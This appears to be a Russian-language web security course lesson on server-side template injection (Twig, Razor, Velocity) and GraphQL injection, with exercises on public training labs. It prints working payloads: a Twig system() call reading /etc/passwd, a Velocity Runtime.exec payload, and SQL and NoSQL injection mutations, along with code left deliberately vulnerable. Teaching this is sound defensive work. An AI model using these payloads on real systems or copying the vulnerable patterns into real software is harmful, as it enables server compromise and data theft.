# 0x03 - Injections II **OWASP Top 10:2017 - A1(A3:2021). Инъекции** Инъекции шаблонов (Server-side template injection) Содержание: - Что такое внедрение шаблона на стороне сервера? - Какой ущерб несут уязвимости к инъекции шаблонов? - Как появляются уязвимости инъекции шаблонов? - Проведение атаки инъекции шаблонов - Как защищаться от инъекции шаблонов? ## Что такое внедрение шаблона на стороне сервера? Инъекция шаблонов на стороне сервера - это атака, при которой злоумышленник может использовать собственный синтаксис шаблона для введения вредоносной полезной нагрузки в шаблон, который затем выполняется на стороне сервера. Движки шаблонов предназначены для генерации веб-страниц путем объединения фиксированных шаблонов с изменчивыми данными. Атаки с инъекцией шаблонов на стороне сервера могут происходить, когда вводимые пользователем данные не передаются в виде данных, а непосредственно вставляются в шаблон. Это позволяет злоумышленникам вводить произвольные директивы шаблонов для манипулирования движком шаблонов, часто позволяя им получить полный контроль над сервером. ## Какой ущерб несут уязвимости к инъекции шаблонов? Уязвимости инъекции шаблонов на стороне сервера могут подвергать веб-сайты различным атакам в зависимости от движка шаблонов и того, как именно приложение его использует. В некоторых редких случаях эти уязвимости не представляют реального риска для безопасности. Однако, в большинстве случаев, воздействие инъекции шаблона на стороне сервера может быть катастрофическим. В самом крайнем случае злоумышленник потенциально может добиться удаленного выполнения кода, получив полный контроль над внутренним сервером и используя его для других атак на внутреннюю инфраструктуру. Даже в тех случаях, когда полное удаленное выполнение кода невозможно, злоумышленник часто все равно может использовать внедрение шаблонов на стороне сервера в качестве основы для множества других атак, потенциально получая доступ на чтение к конфиденциальным данным и произвольным файлам на сервере. ## Как появляются уязвимости инъекции шаблонов? Рассмотрим несколько примеров кода: Пример НЕ уязвимый к SSTI: ```php= <?php require_once('lib/Twig/Autoloader.php'); Twig_Autoloader::register(); $loader = new Twig_Loader_Filesystem('views'); $twig = new Twig_Environment($loader, array( 'cache' => 'cache', )); echo $twig->render('index.html', array('name' => '', 'title' => 'Startpage')); ?> ``` Пример уязвимый к SSTI: ```php= <?php require_once('lib/Twig/Autoloader.php'); Twig_Autoloader::register(); $twig = new \Twig_Environment(new \Twig_Loader_String()); echo $twig->render("Error message: ".$_GET['error']); ?> ``` ## Проведение атаки инъекции шаблонов ### Сценарий №1 Пример для кода шаблонизатора PHP Twig Код: ```php= echo $twig->render("Error message: ".$_GET['error']); ``` Эксплоит: ```php= {{['cat\x20/etc/passwd']|filter('system')}} ``` ### Сценарий №2 Пример для кода шаблонизатора ASP.NET Razor Код: ```c#= [HttpPost] [ValidateInput(false)] public ActionResult Index(string razorTpl) { ViewBag.RenderedTemplate = Razor.Parse(razorTpl); ViewBag.Template = razorTpl; return View(); } ``` Эксплоит: ```= @{ // C# code } ``` ### Сценарий №3 Пример для кода шаблонизатора Java Velocity Код: ```java= // Set up the context data VelocityContext context = new VelocityContext(); context.put( "name", user.name ); // Load the template String template = getUserTemplateFromRequestBody(request); RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices(); StringReader reader = new StringReader(template); SimpleNode node = runtimeServices.parse(reader, "myTemplate"); template = new Template(); template.setRuntimeServices(runtimeServices); template.setData(node); template.initDocument(); // Render the template with the context data StringWriter sw = new StringWriter(); template.merge( context, sw ); ``` Эксплоит: ```= $name.getClass().forName("java.lang.Runtime").getRuntime().exec(<COMMAND>) ``` ## Как защищаться от инъекции шаблонов? Лучший способ предотвратить инъекцию шаблонов на стороне сервера - **не позволять никаким пользователям изменять или отправлять новые шаблоны**. Однако иногда это неизбежно из-за требований бизнеса. Один из простейших способов избежать внедрения уязвимостей инъектирования шаблонов на стороне сервера - **всегда использовать "logic-less" шаблонный движок**, такой как Mustache, если в этом нет абсолютной необходимости. Максимально возможное отделение логики от представления может значительно уменьшить вашу подверженность наиболее опасным атакам на основе шаблонов. Другой мерой является **выполнение пользовательских шаблонов только в песочнице**, где потенциально опасные модули и функции были полностью удалены. К сожалению, недоверенный код в песочнице по своей природе сложен и склонен к обходу. Наконец, еще одним дополнительным подходом является признание того, что произвольное выполнение кода практически неизбежно, и **применение собственной "песочницы" путем развертывания среды шаблонов**, например, в изолированном контейнере Docker. ## Дополнительные материалы :::success - [PayloadsAllTheThings - Templates Injections](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) - [TPLMap: инструмент автоматизации](https://github.com/epinna/tplmap) ::: ## Упражнения ### Упражнение 1 Основы инъеции шаблонов на стороне сервера - https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic (Сложность: низкая) ### Упражнение 2 Основы инъекции шаблонов на стороне сервера (контекст кода) - https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context (Сложность: низкая) GraphQL инъекции Содержание: - Что такое GraphQL - Какие могут быть проблемы? - Известные отчеты - Упражнение ## Что такое GraphQL GraphQL это язык запросов, который позволяет описать типы данных и дать возможность их собирать с помощью описанного синтаксиса. С помощью GraphQL можно объединить разнотипные источники данных. Чаще всего используется этот язык для того чтобы получать данные от сервера. Обычно GraphQL API состоит из: 1. schema - описание данных 2. queries - запрос данных 3. resolvers - кусок кода, который описывает алгоритм преобразования данных Проще всего рассматривать через официальный [курс](https://graphql.org/learn/). ## Какие могут быть проблемы? - может быть реализован SSRF, если не проверяются параметры резолверов - нарушение разграничения доступа - по-умолчанию его нет и разработчики должны самостоятельно его имплементировать - DDOS - GraphQL не ограничивает количество вложенных элементов в запросе - может быть использован для атак на обслуживаемые ресурсы: sql injection, Nosql injectio, Os Command Injection и т.д. - доступных механизм интроспекции, позволяет получить данные о структуре хранилищ. Пример запроса интроспекции: ``` { __schema { types { name } } } ``` Пример атак sql и nosql: ``` mutation { login(input: { user: "admin", password: "password' or 1=1 -- -" }) { success } } mutation { users(search: "{password: { $regex: \".*\"}, name:Admin }") { id name password } } ``` ## Известные отчеты - https://gitlab.com/gitlab-org/gitlab/-/issues/215703 - https://hackerone.com/reports/1122408 - https://hackerone.com/reports/342978 - https://hackerone.com/reports/380317 ## Упражнение https://www.root-me.org/en/Challenges/Web-Server/GraphQL Полезный ресурс для работы с GraphQL - https://apis.guru/graphql-voyager/